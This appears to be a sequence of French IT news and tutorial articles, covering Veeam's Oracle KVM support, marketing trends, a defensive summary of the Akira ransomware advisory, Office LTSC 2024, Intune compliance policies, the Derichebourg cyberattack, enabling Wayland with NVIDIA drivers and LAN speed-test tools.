La solution Veeam Data Platform prend désormais en charge la sauvegarde et la restauration des machines virtuelles exécutées sur l’hyperviseur Linux KVM d’Oracle. Ce type de nouveautés pourrait inciter certains clients attachés à quitter VMware ! Faisons le point sur cette annonce.
Avec la prise en charge de l'hyperviseur Oracle Linux KVM et des environnements managés avec oVirt, Veeam continue d'étoffer la liste de plateformes de virtualisation et de Cloud prises en charge par sa solution Veeam Data Platform. Parmi les nombreuses plateformes prises en charge, nous avons : VMware vSphere, VMware Cloud Director, VMware Cloud on AWS, VMware Cloud on AWS Outposts, VMware Cloud on Dell Microsoft Hyper-V, Microsoft Azure Stack HCI, Microsoft Azure VMware Solution, Amazon AWS Nutanix AHV, Red Hat Virtualization, Google Cloud, Google Cloud VMware Engine, Oracle Cloud VMware Solution et IBM Cloud, et désormais Oracle Linux KVM.
Même si Veeam n'en parle de pas dans son communiqué de presse, cette nouveauté pourrait être un signe de la prise en charge imminente d'autres hyperviseurs tels que Proxmox et XCP-ng, qui sont deux alternatives à VMware ESXi. En janvier dernier, Veeam avait d'ailleurs laissé entendre que des travaux était en cours pour ajouter la prise en charge de Proxmox.
La volonté de Veeam est d'offrir de la liberté aux entreprises afin de prendre en charge toutes les plateformes et les systèmes qu'ils utilisent. « Avec la prise en charge d’Oracle Linux Virtualization Manager, nous offrons aux entreprises une liberté de choix sans équivalent sur le marché de la virtualisation en leur permettant notamment de sélectionner et de migrer vers les plateformes qui répondent le mieux à leurs besoins, tout en maintenant une gestion, une sécurité et une protection transparente des données. »
Désormais, les utilisateurs d'Oracle Linux KVM peuvent sauvegarder leur environnement et bénéficier de la restauration complète ou granulaire de leurs machines virtuelles, ainsi que la gestion sécurisée et conforme du cycle de vie des sauvegardes. L'occasion de rappeler la possibilité de créer des sauvegardes immuables pour lutter contre certaines menaces, dont les ransomwares.
Dans un monde où les comportements des consommateurs et les avancées technologiques se transforment à un rythme sans précédent, les stratégies de marketing numérique doivent également évoluer rapidement pour rester pertinentes.
En 2024, l'impératif pour les spécialistes du marketing est de se tenir informés des dernières tendances et d'embrasser des approches novatrices qui leur permettent de communiquer avec leur public cible de la manière la plus efficace possible.
Face à une concurrence toujours plus forte et à des consommateurs de plus en plus avertis, il devient crucial d'adopter des stratégies qui non seulement attirent l'attention mais aussi engagent et fidélisent les clients sur le long terme.
Voici les sept stratégies de marketing numérique primordiales à mettre en œuvre cette année pour assurer une présence en ligne dynamique et impactante.
Salle de travail marketing, Unsplash
1. Création d'un site internet optimisé
La création d'un site web est essentielle pour toute entreprise cherchant à établir une présence en ligne solide. Un site web bien conçu offre à votre entreprise une vitrine virtuelle où les clients potentiels peuvent en apprendre davantage sur vos produits et services.
Assurez-vous que votre site web est convivial, responsive et optimisé pour les moteurs de recherche afin d'attirer du trafic qualifié et de convertir les visiteurs en clients. L'une des premières étapes pour lancer votre présence en ligne consiste à apprendre comment créer un site internet.
2. Marketing d'influence
Les influenceurs jouent un rôle de plus en plus important dans la promotion des marques et des produits. En collaborant avec des personnes influentes dans leur domaine, les entreprises peuvent toucher un public plus large et gagner en crédibilité.
En 2024, les spécialistes du marketing devraient investir dans des partenariats stratégiques avec des influenceurs qui correspondent à leur marque et à leurs valeurs. Pour en savoir plus sur l'impact croissant du marketing d'influence, consultez cet article instructif de So Bang.
3. Optimisation pour la recherche vocale
Avec la popularité croissante des assistants vocaux tels que Siri et Alexa, l'optimisation pour la recherche vocale devient essentielle. Les entreprises doivent adapter leur stratégie de référencement pour inclure des mots-clés et des expressions utilisés dans les requêtes vocales.
Créer du contenu qui répond aux questions courantes posées par les utilisateurs de la recherche vocale peut aider à améliorer le classement dans les résultats de recherche. Découvrez comment optimiser votre stratégie de référencement vocal en lisant cet article approfondi de Digitad.
4. Expérience utilisateur améliorée
L'expérience utilisateur (UX) est un facteur déterminant dans la réussite du marketing numérique, où les sites Web et les applications conviviaux et réactifs jouent un rôle crucial en garantissant une interaction positive avec les utilisateurs.
En 2024, les spécialistes du marketing devraient se concentrer sur l'optimisation de l'UX pour offrir une expérience transparente et engageante à leurs clients potentiels, tout en intégrant des éléments de design innovants qui améliorent l'accessibilité et la navigation, renforçant ainsi l'engagement client.
5. Contenu vidéo interactif
Le contenu vidéo continue de dominer le paysage du marketing numérique, mais en 2024, la tendance est au contenu vidéo interactif. Les vidéos interactives permettent aux spectateurs de participer activement en répondant à des questions, en prenant des décisions, et en explorant le contenu de manière immersive.
Cette approche favorise l'engagement et la rétention des spectateurs, transformant le visionnage passif en une expérience dynamique et participative qui renforce la connexion entre la marque et son audience, amplifiant ainsi l'impact des messages véhiculés.
6. Marketing sur les réseaux sociaux
En 2024, l'importance des réseaux sociaux dans le domaine du marketing numérique est incontestable, représentant un canal essentiel pour les entreprises visant à augmenter leur visibilité et engagement en ligne.
Pour rester compétitifs, les spécialistes du marketing doivent élaborer des stratégies spécifiques pour chaque plateforme sociale, tenant compte de leurs particularités.
L'utilisation avancée d'outils d'analyse est indispensable pour comprendre les comportements des utilisateurs et mesurer l'efficacité des campagnes, favorisant ainsi l'ajustement des stratégies pour maximiser l'impact et le ROI.
7. Intelligence artificielle et automatisation
L'intelligence artificielle (IA) et l'automatisation révolutionnent la manière dont les spécialistes du marketing interagissent avec leur public.
En exploitant des algorithmes avancés et en déployant des chatbots sophistiqués, les entreprises peuvent automatiser de vastes processus de marketing, assurer un service client disponible 24/7, et personnaliser les interactions avec les clients à une échelle sans précédent.
Cette transformation permet une approche plus efficace et ciblée du marketing, offrant des expériences utilisateur améliorées tout en optimisant les ressources et en maximisant l'engagement des consommateurs.
Conclusion
En appliquant ces sept stratégies de marketing numérique, les entreprises améliorent leur compétitivité et atteignent leurs objectifs de croissance en 2024.
De l'optimisation web à l'utilisation de l'intelligence artificielle, ces méthodes essentielles favorisent l'atteinte du public cible, l'engagement accru, et une hausse des conversions. L'adaptabilité et l'innovation constante permettent de répondre aux attentes changeantes des consommateurs et de se distinguer.
Ainsi, ces stratégies facilitent la création de liens durables avec les clients, propulsant les entreprises vers le succès dans l'écosystème digital.
Tout roule pour les membres du gang de ransomware Akira puisqu'ils seraient parvenus à voler la jolie somme de 42 millions de dollars grâce à la compromission de l'infrastructure de plus de 250 organisations. Il s'agit de chiffres publiés par plusieurs agences, dont le FBI.
Le FBI, la CISA, le Centre européen de lutte contre la cybercriminalité (European Cybercrime Centre) et le National Cyber Security Centre (NCSC) du Pays-Bas ont travaillé sur l'écriture d'un rapport complet au sujet de la menace Akira. Ce bulletin d'alerte disponible sur le site de la CISA montre la progression fulgurante de ce gang de ransomware apparu pour la première fois en mars 2023.
Le gang de ransomware a fait des victimes partout dans le monde, même si la majorité des organisations ciblées sont situées en Amérique du Nord, en Europe et en Australie. Au début, Akira s'en prenait principalement aux systèmes Windows, mais assez rapidement, les cybercriminels ont mis au point une variante pour Linux afin de chiffrer les machines virtuelles sur les serveurs VMware ESXi.
Ainsi, au 1er janvier 2024, le groupe de ransomwares avait touché plus de 250 organisations et volé environ 42 millions de dollars grâce aux victimes qui ont pris la décision de payer la rançon demandée.
Le mode opératoire du gang de ransomware Akira
Le rapport publié sur le site de la CISA fournit des informations intéressantes sur les techniques et méthodes employées par les cybercriminels d'Akira.
L'accès initial est notamment évoqué, et d'après le FBI, ils ciblent principalement les accès VPN, les accès RDP, le spear phishing et l'utilisation de comptes utilisateurs valides qu'ils ont en leur possession. Deux failles de sécurité, liées aux équipements Cisco, sont citées : CVE-2020-3259 et CVE-2023-20269.
Pour les différentes phases de l'attaque, notamment pour la persistance, la découverte et l'exfiltration des données, le gang de ransomware Akira utilisent différents outils dont certains que vous connaissez et utilisez probablement : Mimikatz, LaZagne, SoftPerfect et Advanced IP Scanner. À cela s'ajoutent des outils accessibles facilement et peut-être même déjà présents sur certaines machines : AnyDesk, MobaXterm, RustDesk, Ngrok, RClone, les protocoles FTP et SFTP ou encore le service de stockage de fichiers Mega.
Les conseils pour se protéger du ransomware Akira
Ce rapport contient également un ensemble de conseils et recommandations pour se protéger de cette menace.
Voici la liste de ces recommandations :
Mise en œuvre d'un plan de reprise d'activité.
Effectuer des sauvegardes déconnectées (hors ligne) des données.
Effectuer des sauvegardes chiffrées et immuables.
Exiger que tous les comptes soient protégés par des mots de passe conformes aux normes du NIST, et qui doivent être suffisamment long. "Envisagez de ne pas exiger de changements de mot de passe récurrents, car cela peut affaiblir la sécurité", peut-on lire.
Exiger une authentification multifactorielle pour tous les services dans la mesure du possible.
Maintenir tous les systèmes d'exploitation, les logiciels et les firmwares à jour.
Segmenter les réseaux pour empêcher la propagation des ransomwares.
Identifier, détecter et étudier les activités anormales et les mouvements potentiels du ransomware à l'aide d'un outil de surveillance du réseau.
Filtrer le trafic réseau en empêchant des sources inconnues ou non fiables d'accéder à des services distants sur des systèmes internes.
Installer, mettre à jour régulièrement et activer la détection en temps réel des logiciels antivirus sur tous les hôtes.
Examiner les contrôleurs de domaine, les serveurs, les postes de travail et les annuaires actifs pour détecter les nouveaux comptes et/ou les comptes non reconnus.
Auditer les comptes d'utilisateurs disposant de privilèges élevés et configurer les contrôles d'accès selon le principe du moindre privilège.
Désactiver les ports inutilisés.
Ajouter un avertissement aux e-mails dont l'expéditeur est externe à votre organisation.
Désactiver les hyperliens dans les e-mails reçus.
Mettre en place une politique Time-based Access (Zero Trust) basée sur la durée pour les comptes avec des privilèges élevés.
Désactiver les activités et les autorisations relatives à la ligne de commande et aux scripts.
Si vous souhaitez tester Microsoft Office LTSC 2024, c'est possible ! Microsoft a mis en ligne les premières versions "preview" de la future version perpétuelle de la suite Office, pour Windows et macOS. Faisons le point sur cette annonce !
Premières versions preview pour Office LTSC 2024
En mars 2024, Microsoft avait annoncé que les premières versions "preview" d'Office LTSC 2024 seraient publiée "un mois plus tard", c'est-à-dire en avril 2024. Nous y sommes et Microsoft a respecté son planning : les utilisateurs de Windows et macOS peuvent tester la future version de la suite Office dès maintenant.
Microsoft va continuer à proposer Office sous la forme d'une licence perpétuelle puisque Office LTSC 2024 va prendre la suite d'Office LTSC 2021. Cela signifie que cette future version bénéficiera du support Microsoft pendant 5 ans. Elle offre une alternative à la suite Microsoft 365 Apps accessible par abonnement, notamment pour les utilisateurs de Microsoft 365 (en fonction du type d'abonnement).
Voici les versions "preview" proposées par Microsoft :
Microsoft Office LTSC Professional Plus 2024, avec Word, Excel, PowerPoint, Outlook, OneNote et Access
Microsoft Office LTSC Standard pour Mac 2024, avec Word, Excel, PowerPoint, Outlook et OneNote
Microsoft Project Professional 2024
Microsoft Visio Professionnel 2024
Vous cherchez Publisher ? Sachez qu'il n'est plus inclus à la suite Office, car il va être abandonné par Microsoft en octobre 2026. De la même façon, Microsoft Teams est désormais proposé séparément.
Les nouveautés d'Office LTSC 2024
Soyons honnêtes : Office LTSC 2024 n'aura pas autant de fonctionnalités que la version Microsoft 365 Apps et elle restera toujours en retard. Par contre, c'est une évolution vis-à-vis d'Office LTSC 2021. Dans son article, Microsoft précise : "Office LTSC 2024 comprendra des fonctionnalités des versions précédentes d'Office ainsi qu'un sous-ensemble de nouvelles fonctionnalités déjà disponibles dans Microsoft 365 Apps for Enterprise."
Office LTSC 2024 sera livré avec certaines améliorations, telles que de nouvelles options de création de réunions et des améliorations de la recherche dans Outlook, des dizaines de nouvelles fonctionnalités d'Excel, notamment des graphiques et des tableaux dynamiques, ainsi que des performances, une sécurité et une accessibilité améliorées.
Comment télécharger Office LTSC 2024 ?
Selon si vous souhaitez tester Microsoft Office LTSC 2024 sur Windows ou macOS, référez-vous à la bonne page de la documentation. Voici les liens :
Dans ce tutoriel, nous allons aborder la notion de "Stratégies de conformité" dans Microsoft Intune. Qu'est-ce qu'une stratégie de conformité ? Quel est l'intérêt d'une stratégie de conformité ? Comment configurer une stratégie de conformité Windows dans Intune ? Cet article répondra à ces différentes questions.
II. Qu'est-ce qu'une stratégie de conformité Intune ?
Une stratégie de conformité Intune va permettre à une entreprise de s'assurer que tous les appareils utilisés par les employés respectent les règles de base en matière de sécurité.
Par exemple, nous allons pouvoir nous assurer que le pare-feu est actif sur Windows et qu'il y a bien une protection antivirus opérationnelle. Si ce n'est pas le cas, nous allons recevoir une alerte et il sera possible de limiter les tentatives d’accès effectués à partir de cet appareil non conforme.
La stratégie de conformité est d'autant plus intéressante lorsqu'elle est couplée avec les stratégies d'accès conditionnel puisque nous pourrons accorder une autorisation d'accès uniquement si l'appareil respecte sa stratégie de conformité. Ce qui permet de bloquer les connexions à partir d'un appareil non conforme.
Dans la suite de cet article, nous allons apprendre à configurer les paramètres généraux de cette fonctionnalité, avant de configurer les paramètres de notifications et de créer une stratégie de conformité Intune.
Cette stratégie de conformité Windows aura pour objectif de vérifier les points suivants :
Pare-feu Windows Defender actif
Module TPM actif
Antivirus actif
Logiciel anti-espion et logiciel anti-malware actifs
Protection en temps réel active
Nous pourrions ajouter d'autres conditions comme la vérification du Secure Boot, l'état de BitLocker, etc.
III. Stratégies de conformité : paramètres généraux
Nous allons commencer par configurer les paramètres de stratégie de conformité au niveau du tenant Microsoft 365. Autrement dit, il s'agit de paramètres communs à l'ensemble des appareils, des utilisateurs et des stratégies.
Connectez-vous au centre d'administration Microsoft Intune. Voici un lien direct si besoin :
Ensuite, cliquez sur "Appareils" puis sur "Conformité" afin de pouvoir cliquer sur le bouton "Paramètres de conformité". Vous pouvez aussi passer par "Sécurité du point de terminaison", "Conformité de l'appareil" puis "Paramètres de conformité".
Ici, nous allons retrouver deux paramètres importants :
Nous allons configurer ces deux options :
Marquer les appareils sans stratégie de conformité comme étant, et nous allons passer l'option sur "Non conforme". Ainsi, nous partons du principe qu'un appareil n'est pas conforme : nous ne faisons pas confiance à l'appareil avant qu'il soit analysé.
Période de validité de l'état de conformité (jours), et nous allons indiquer "30" ce qui signifie qu'un appareil identifié comme conforme bénéficiera de ce statut pendant 30 jours.
Il est à noter que la période de compliance peut être comprise entre 1 et 120 jours.
Une fois les paramètres définis, cliquez sur "Enregistrer".
IV. Stratégies de conformité : notifications
La seconde étape consiste à configurer le système de notifications, ce qui permettra notamment de recevoir un e-mail lorsqu'un appareil non conforme sera détecté. Toujours sous "Conformité", basculez sur l'onglet "Notifications" puis cliquez sur "Créer une notification".
Donnez un nom à ce modèle de notification, par exemple "Notification de base - Compliance". Ensuite, nous avons plusieurs options de base pour personnaliser l'e-mail, notamment dans le but d'intégrer des éléments permettant d'identifier votre entreprise (un logo, par exemple). Cette interface ne permettra pas de choisir un logo ou de configurer les valeurs des autres options.
Pour visualiser les valeurs attribuées à ces options, vous devez accéder aux paramètres de personnalisation du tenant. Suivez la procédure suivante :
1 - Cliquez sur "Administration de locataire".
2 - Cliquez sur "Personnalisation".
3 - Cliquez sur "Modifier".
Ensuite, il ne vous reste plus qu'à configurer les différentes options telles que le nom de l'organisation, le logo, etc...
Quand ce sera fait, retournez dans l'assistant de création d'une notification afin de passer à la seconde étape. Vous devez choisir la langue, et définir l'objet de l'e-mail ("Appareil non conforme", par exemple) ainsi que le corps du message (certaines balises HTML sont prises en charge). Puisqu'il s'agit du premier modèle de notifications, nous allons le définir par défaut.
Pour personnaliser le message avec des valeurs dynamiques (le nom de l'utilisateur ou de l'appareil, par exemple), vous pouvez utiliser "des variables", comme décrit dans cette page de la documentation Microsoft.
Ce qui donne :
Passez à l'étape "Vérifier + créer" afin de passer en revue votre paramétrage et cliquez sur "Créer".
Voilà, votre modèle de notification est créé !
V. Créer une stratégie de conformité Intune
Nous allons créer une stratégie de conformité pour définir les critères que doit respecter un appareil afin d'être considéré comme conforme. Cette fois-ci, basculez sur l'onglet "Stratégies" et cliquez sur "Créer une stratégie". À cet emplacement, vous avez également accès à l'onglet "Scripts" qui permet de créer des scripts PowerShell pour de la "mise en conformité sur-mesure" puisque c'est votre script qui va faire l'évaluation (nous pouvons imaginer un script PowerShell pour vérifier l'espace disque restant sur le volume système).
Un panneau latéral apparait sur la droite. Choisissez la plateforme "Windows 10 et ultérieur" et poursuivez. Ceci vous donne l'occasion de constater que cette fonctionnalité n'est pas limitée à Windows.
Bienvenue dans l'assistant de création d'une stratégie de conformité Intune !
Commencez par donner un nom à cette stratégie et indiquez une description. La description s'avère utile pour donner quelques indications sur le contenu de cette stratégie.
La section "Conformité personnalisée" sert à créer vos propres règles contenues dans un fichier JSON généré à partir d'un script PowerShell. Cette méthode est décrite dans la documentation Microsoft, sur cette page.
Descendez dans la page... Nous allons pouvoir exiger la vérification de certains éléments en jouant sur les options présentes dans chaque section : Intégrité de l'appareil, Propriétés de l'appareil, etc...
Commencez par la section "Intégrité de l'appareil" qui présente l'avantage de permettre de vérifier la configuration de BitLocker, du démarrage sécurisé et l'intégrité du code sur la machine Windows. Avant d'activer la vérification BitLocker, il convient de créer une stratégie de configuration de BitLocker.
La section "Propriétés de l'appareil" sert à vérifier la version du système d'exploitation Windows. Ainsi, vous pourriez considérer qu'un appareil qui exécute une version de Windows 10 qui n'est plus sous support, n'est pas conforme. Pour obtenir les numéros de version, vous pouvez vous référer à la documentation Microsoft, notamment ce lien :
Par ailleurs, vous pouvez aussi utiliser la commande "winver" sur un appareil puisqu'elle retourne un numéro de build. Toutefois, méfiez-vous avec les numéros de version, vous devez utiliser ce format : 10.0.X.X. Ainsi, pour la build "22631.2715", nous devons préciser la valeur suivante : 10.0.22631.2715.
Ce numéro de version correspond à Windows 11 23H2 avec les mises à jour de novembre 2023, ce qui signifie que l'on peut cibler une version majeure et un niveau de mise à jour des machines. Pour Windows 11 23H2 avec les mises à jour d'avril 2024, la valeur à utiliser est légèrement différente dû à la différence de niveau de mise à jour : 10.0.22631.3447.
Voici un exemple :
La section "Conformité de Configuration Manager" s'adresse aux personnes en co-gestion avec (System Center) Configuration Manager.
Le volet "Sécurité système" s'adresse aux administrateurs qui souhaitent effectuer des vérifications sur la configuration et l'utilisation des mots de passe sur un appareil. À la fin de la section, il y a tout de même des paramètres que nous allons activer pour vérifier l'état du pare-feu, du module TPM, de l'antivirus, et du logiciel anti-espion.
Puis, un peu plus bas, nous allons pouvoir activer certains contrôles liés à Defender :
Vous avez aussi un paramètre spécifique à "Microsoft Defender for Endpoint" pour vérifier le niveau de risque d'un appareil. C'est très intéressant pour les entreprises équipées avec cette solution sur leur appareil Windows.
Passez à l'étape "Actions en cas de non conformité". Ici, nous allons créer plusieurs règles :
Marquer l'appareil comme non conforme immédiatement.
Envoyer un e-mail à l'utilisateur final (grâce à notre modèle de notifications précédemment créé !) - L'administrateur aura aussi l'e-mail.
Ajouter un appareil à la liste des mises hors service 20 jours après la non-conformité. Ceci est facultatif, mais permet d'ajouter l'appareil à la liste "Mettre hors service les appareils non conformes". Lorsqu'un administrateur retire un appareil de cette liste, ceci enclenche la suppression de toutes les données de l'entreprise de l'appareil et le retire de la gestion Intune. A utiliser avec précaution.
Remarque : pour certains appareils, notamment sous Android, macOS, iOS et iPadOS, il est possible de verrouiller l'appareil à distance s'il n'est pas conforme. Ceci correspond à la fonction Remote Lock.
Pour finir, l'étape "Affectations" que l'on a l'habitude de croiser dans les assistants Intune se présente à l'écran. L'objectif étant d'affecter cette stratégie de conformité à un groupe d'appareils, comme ici le groupe "PC_Corporate".
Attention : n'oubliez pas que nous avons activé une option au niveau du tenant pour déclarer non conformes tous les appareils sans stratégie de conformité. S'il s'agit de votre stratégie de conformité de base, vous pouvez l'appliquer directement à tous les appareils.
Révisez votre configuration et cliquez sur le bouton "Créer" pour finaliser la création de la stratégie de conformité.
Voilà, la stratégie de conformité va être déployée sur les appareils qui rentrent dans le périmètre de l'affectation.
VI. Suivre l'état des appareils
Suite au déploiement de cette stratégie, les appareils sont analysés via la stratégie de conformité et un état s'affiche directement dans la colonne "Compatibilité" de la liste des appareils inscrits dans Intune. Ici, nous pouvons voir que l'appareil "PC-ITC-01" n'est pas conforme.
Si nous cliquons sur cet appareil, nous pouvons obtenir des précisions. Nous voyons bien qu'il ne respecte pas notre politique.
En fait, le détail de l'analyse nous montre que le pare-feu de la machine est dans un état "non conforme". En effet, sur cet appareil, le pare-feu Windows est désactivé.
Dans le même temps, une notification par e-mail a été envoyée ! Cette notification reprend bien les éléments configurés dans notre modèle de notifications et dans les paramètres de personnalisation (textes, logo, etc.).
Désormais, il va falloir faire le nécessaire pour qu'il soit de nouveau conforme...!
VII. Conclusion
Suite à la lecture de ce tutoriel, vous êtes en mesure de créer votre première stratégie de conformité Intune pour vos appareils Windows. Avant de modifier les paramètres au niveau du tenant, effectuez une première stratégie de conformité afin de la tester sur quelques appareils de votre parc informatique.
En novembre 2023, la société Derichebourg a subi une cyberattaque ayant entrainé une paralysie totale et temporaire de son logiciel d'exploitation. Cet incident de sécurité aurait fait perdre entre 15 et 20 millions d'euros à l'entreprise.
Dans la nuit du 9 au 10 novembre 2023, le groupe français Derichebourg, spécialisé dans le recyclage de métaux, avait été victime d'une cyberattaque ayant eu un impact important sur une partie de son activité : "Le groupe Derichebourg a subi une cyberattaque qui n’a pas interrompu ses activités opérationnelles mais en a cependant perturbé le déroulement.", peut-on lire dans le communiqué de presse publié mardi 16 avril 2024.
La cyberattaque a impactée directement le logiciel d'exploitation principal utilisé par les équipes du groupe Derichebourg et Derichebourg Multiservices. Cette indisponibilité, bien que temporaire, a été relativement longue à en croire les informations fournies dans le communiqué de presse : "Cette cyberattaque a cependant perturbé le déroulement des activités du fait de l'indisponibilité temporaire du principal logiciel d'exploitation, en particulier au cours des mois de novembre 2023, décembre 2023 et dans une moindre mesure janvier 2024."
Cette indisponibilité du logiciel d'exploitation causée par la cyberattaque a perturbé le pilotage de l'activité de l'entreprise, et il a été à l'origine de pertes de volumes d'achats et de retard dans la saisie informatique. Résultat, Derichebourg estime que cette cyberattaque a un impact financier compris entre 15 et 20 millions d'euros. À cela s'ajoute des difficultés liées à la conjoncture actuelle et à la difficulté du marché.
Pour ces différentes raisons, le groupe Derichebourg estime qu'il est peu probable d'atteindre son objectif initial pour l'année 2024 : 350 millions d'euros d'excédent. Enfin, sachez que suite à la publication de ce communiqué de presse, le titre Derichebourg a fortement reculé à la Bourse de Paris.
Active Directory and Entra ID (formerly known as Azure AD) have their own password policies to prevent users from using weak and insecure passwords. While these policies can be combined, the level of protection achieved through this approach is still limited.
Xorg et Wayland sont deux protocoles graphiques utilisés dans les systèmes d’exploitation Unix-like, principalement sur les distributions Linux, pour gérer l’affichage graphique et les interactions avec l’utilisateur.
La plupart des distributions Linux utilisent par défaut Xorg. Toutefois, lorsque vous installez les pilotes NVIDIA propriétaires ou pour différentes raisons, le gestionnaire de fenêtres peut être Xorg.
Voici comment passer de Xorg à Wayland notamment sur Ubuntu et Debian.
Comment passer sur Wayland dans Linux
Par défaut, Ubuntu utilise Wayland. Toutefois dans le cas où les pilotes propriétaires de NVIDIA sont installés sur Ubuntu, ce dernier repasse sous Xorg (X11). Cela fonctionne sur Ubuntu 22.04 ou Ubuntu 23.10. Veuillez noter que Ubuntu 24.04 LTS devrait être par défaut sur Wayland même si les pilotes NVIDIA propriétaires sont installés.
Voici comment activer Wayland avec les pilotes NVIDIA sur Linux :
Installez la librairies d’implémentation en cours d’une bibliothèque EGL (Embedded-System Graphics Library) pour la plate-forme externe pour Wayland :
sudo apt install libnvidia-egl-wayland1
Puis éditez le fichier de configuration GRUB :
sudo nano /etc/default/grub
Repérez la ligne GRUB_CMDLINE_LINUX et éditez pour ajouter la configuration suivante :
GRUB_CMDLINE_LINUX="nvidia-drm.modeset=1"
Puis mettez à jour la configuration GRUB :
sudo update-grub
Pour que l’hibernation et mise en veille prolongée fonctionne correctement, il faut activer certaines options. Toutefois le fichier de configuration peut être différents d’une distribution Linux à l’autre
Sur Ubuntu, éditez le fichier /etc/modprobe.d/nvidia-graphics-drivers-kms.conf
Sur Debian, modifiez le fichier /etc/modprobe.d/nvidia-power-management.conf
options nvidia NVreg_PreserveVideoMemoryAllocations=1 NVreg_TemporaryFilePath=/tmp/tmp-nvidia options nvidia-drm modeset=1 options nvidia-drm.fbdev=0 # Pas forcément nécessaire. Consultez la fin de l'article sur les problèmes rencontrés options nvidia NVreg_UsePageAttributeTable=1 options nvidia NVreg_RegistryDwords="OverrideMaxPerf=0x1"
Redémarrez l’ordinateur pour prendre en compte les modifications
sudo reboot
Sur l’écran de verrouillage, cliquez sur l’utilisateur
Puis en bas à droite, cliquez sur l’icône roue crantée puis sélectionnez Wayland (ici il s’agit de l’écran de verrouillage d’Ubuntu)
Pour vérifier que le bureau de Linux est bien en Wayland :
echo $XDG_SESSION_TYPE
Si Wayland n’apparaît pas dans la liste, suivez le paragraphe suivant pour l’activer.
Le display manager de GNOME (GDM) donne la possibilité de choisir le gestionnaire de fenêtres que vous pouvez utiliser.Vous pouvez très bien activer ou désactiver Wayland dans GNOME. Voici comment faire :
Éditez le fichier de configuration de GDM :
sudo nano /etc/gdm3/custom.conf
Pour forcer l’activation de Wayland dans gnome, positionnez l’option suivante sur True
WaylandEnable=true
Pour forcer la désactivation de Wayland :
WaylandEnable=false
Puis relancez GDM :
sudo systemctl restart gdm3
Vous devriez pouvoir choisir Wayland au démarrage de la session GNOME
Pourquoi passer de X11 à Wayland
Plusieurs raisons peuvent vous pousser à utiliser Wayland à la place de Xorg. Premièrement, Xorg n’est plus maintenu et vous expose à des problèmes de sécurité. Ce dernier étant un projet de 1980. Wayland a été lancé afin de proposer un gestionnaire de fenêtre plus moderne, notamment Wayland élimine le modèle client-serveur et permet aux applications d’interagir directement avec le serveur d’affichage. De plus, Wayland est projet actif, il propose des fonctionnalités qui n’existent pas sur X11. Dans mon cas, les performances sont vraiment meilleures sur Wayland, l’affichage est beaucoup plus réactif. C’est aussi le cas dans les jeux.
Quels sont les problèmes connus entre Wayland et les pilotes propriétaires NVIDIA
Le support de Wayland n’est pas encore totale, de plus certaines technologies ne sont pas encore supportés. Ainsi, des bugs existent.
Les fenêtres en plein écran des jeux et applications rencontrent des problèmes d’affichage. Certaines parties de la fenêtre sont noires, contiennent des artefacts, clignotements ou encore des bandes horizontales passent de haut en bas révélant un problème de rafraîchissement. Il existe une discussion à ce sujet : https://gitlab.freedesktop.org/xorg/xserver/-/issues/1317 Vous pouvez tenter d’ajouter MUTTER_DEBUG_FORCE_EGL_STREAM=1 dans /etc/environment et relancez la session GNOME. Toutefois, il faut savoir que cela risque de poser des problèmes de chargement des jeux mais surtout provoquer des baisses de performances.
De plus, j’ai rencontré des erreurs suivantes qui semblent être à l’origine de freez :
[drm:nv_drm_atomic_commit [nvidia_drm]] ERROR [nvidia-drm] [GPU ID 0x00000 100] Flip event timeout on head 0
D’où la désactivation de fbdev (framebuffer Device – toujours en expérimental) depuis /etc/modprobe.d/nvidia-graphics-drivers-kms.conf :
options nvidia-drm.fbdev=0
En outre, la fréquence adaptative de l’écran (VRR/GSync) n’est pas encore tout à fait disponible. Les pilotes NVIDIA propriétaires supportent la fonctionnalité depuis la version 545. Toutefois, ce n’est pas encore le cas des gestionnaire de fenêtres. Par exemple, Gsync est en expérimentale sur la version 46 de GNOME (disponible à partir d’Ubuntu 24.04). La documentation ArchLinux en parle : https://wiki.archlinux.org/title/Variable_refresh_rate#Limitations
Vous souhaitez connaître la vitesse de lecture et d’écriture d’un partage réseau Windows ? En effet, vous doutez si votre réseau local (LAN) fonctionne de manière optimale.
Pour tester et dépanner les réseaux, il faut des outils qui permettent de générer du trafic et d’analyser le débit du réseau à travers un benchmark de son LAN. Cela vaut aussi bien pour les réseaux câblés que pour les réseaux sans fil. Pour dépanner correctement un réseau sans fil (ou câblé), il faut disposer d’un moyen d’évaluer ses performances, de sorte que les modifications apportées puissent déterminer si elles font réellement une différence dans les performances du réseau.
Dans ce tutoriel, je vous présente des logiciels gratuits pour mesurer la vitesse de son réseau local.
Comment mesurer de la vitesse de son réseau local LAN
LAN Speed Test
LAN Speed Test est une solution qui vous permet de tester la vitesse de votre réseau local LAN, mais aussi de votre disque dur, clé USB, disque dur externe. Il est très simple à utiliser car vous n’avez qu’à définir un répertoire puis le logiciel crée un fichier en mémoire, puis le transfère dans les deux sens (sans tenir compte des effets de la mise en cache des fichiers Windows/Mac) tout en gardant une trace du temps, puis effectue les calculs pour vous. Cela est très pratique si vous soupçonnez des lenteurs pour accéder ou copier des fichiers sur votre LAN.
Vous pouvez définir une taille de paquets fixes ou aléatoires avec une limite de temps.
Puis le logiciel effectue les mesures en écriture et en lecture. Vous obtenez la moyenne, le maximum et le minimum.
Il est possible de grapher le résultat ou le sortir sous forme de tableau.
HELIOS LanTest est une solution de test de performance et de fiabilité réseau largement utilisée pour les clients Mac et Windows. Il offre une gamme de fonctionnalités de test, depuis le test d’un simple disque local jusqu’à l’évaluation de la performance des volumes du réseau et la réalisation de tests multi-utilisateurs simultanés sur un seul volume de serveur. Vous pouvez tester les performances d’un disque local sur une seule machine ou d’un partage réseau à travers le support AFP (Apple Filing Protocol) ou SMB (Server Message Block).
L’utilitaire effectue des tests de vitesse de création, ouverture, fermeture et suppression de fichiers. Des benchmark d’accès disque sont aussi effectués, ainsi que des accès aux répertoires.
TamoSoft Throughput Test est un outil logiciel conçu pour mesurer la vitesse de transfert des données à travers un réseau informatique. Cet outil est souvent utilisé pour évaluer les performances des réseaux locaux (LAN), des réseaux sans fil (Wi-Fi), des connexions Internet, et d’autres types de réseaux.
Il fonctionne en mode client-serveur, vous devez donc installer le logiciel sur deux ordinateurs, l’un agit en tant que serveur et l’autre en tant que client. Ensuite vous connectez au serveur pour démarrer le test de performance. Il prend en charge les connexions IPv4 et IPv6 et permet à l’utilisateur d’évaluer les performances du réseau en fonction des paramètres de qualité de service (QoS). Vous obtenez un tableau et un graphique sur les débits TCP/UDP entrants et sortants, les pertes mais aussi le RTT.
